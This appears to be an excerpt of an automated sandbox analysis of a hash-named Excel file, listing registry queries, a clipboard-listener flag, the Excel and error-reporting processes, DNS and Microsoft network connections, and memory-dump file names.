Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Windows\system32\dwwin.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Windows\system32\dwwin.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\53711adeb3fec80af8471a1413eb267fd1ad143a08bb0fc9ad2f0fefa31919cd.xls"

C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE

"C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE" -x -s 3828

C:\Windows\system32\dwwin.exe

C:\Windows\system32\dwwin.exe -x -s 3828

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 68.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
IE 52.109.76.243:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 243.76.109.52.in-addr.arpa udp
US 8.8.8.8:53 69.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 200.163.202.172.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 107.12.20.2.in-addr.arpa udp

Files

memory/1876-0-0x00007FFBECA10000-0x00007FFBECA20000-memory.dmp

memory/1876-1-0x00007FFC2CA2D000-0x00007FFC2CA2E000-memory.dmp

memory/1876-4-0x00007FFC2C990000-0x00007FFC2CB85000-memory.dmp

memory/1876-3-0x00007FFBECA10000-0x00007FFBECA20000-memory.dmp

memory/1876-2-0x00007FFBECA10000-0x00007FFBECA20000-memory.dmp

memory/1876-5-0x00007FFC2C990000-0x00007FFC2CB85000-memory.dmp

memory/1876-6-0x00007FFBECA10000-0x00007FFBECA20000-memory.dmp

memory/1876-10-0x00007FFC2C990000-0x00007FFC2CB85000-memory.dmp

memory/1876-13-0x00007FFC2C990000-0x00007FFC2CB85000-memory.dmp

memory/1876-12-0x00007FFC2C990000-0x00007FFC2CB85000-memory.dmp

memory/1876-14-0x00007FFBEA0B0000-0x00007FFBEA0C0000-memory.dmp

memory/1876-15-0x00007FFC2C990000-0x00007FFC2CB85000-memory.dmp

memory/1876-18-0x00007FFC2C990000-0x00007FFC2CB85000-memory.dmp

memory/1876-20-0x00007FFC2C990000-0x00007FFC2CB85000-memory.dmp

memory/1876-21-0x00007FFC2C990000-0x00007FFC2CB85000-memory.dmp

memory/1876-19-0x00007FFBEA0B0000-0x00007FFBEA0C0000-memory.dmp

memory/1876-17-0x00007FFC2C990000-0x00007FFC2CB85000-memory.dmp

memory/1876-16-0x00007FFC2C990000-0x00007FFC2CB85000-memory.dmp

memory/1876-11-0x00007FFC2C990000-0x00007FFC2CB85000-memory.dmp

memory/1876-9-0x00007FFC2C990000-0x00007FFC2CB85000-memory.dmp

memory/1876-8-0x00007FFBECA10000-0x00007FFBECA20000-memory.dmp

memory/1876-7-0x00007FFC2C990000-0x00007FFC2CB85000-memory.dmp

memory/1876-26-0x00007FFC2C990000-0x00007FFC2CB85000-memory.dmp

memory/1876-47-0x00007FFC2C990000-0x00007FFC2CB85000-memory.dmp

memory/4220-90-0x00007FFBECA10000-0x00007FFBECA20000-memory.dmp

memory/4220-89-0x00007FFBECA10000-0x00007FFBECA20000-memory.dmp

memory/4220-88-0x00007FFBECA10000-0x00007FFBECA20000-memory.dmp

memory/4220-87-0x00007FFBECA10000-0x00007FFBECA20000-memory.dmp

memory/1876-91-0x00007FFC2C990000-0x00007FFC2CB85000-memory.dmp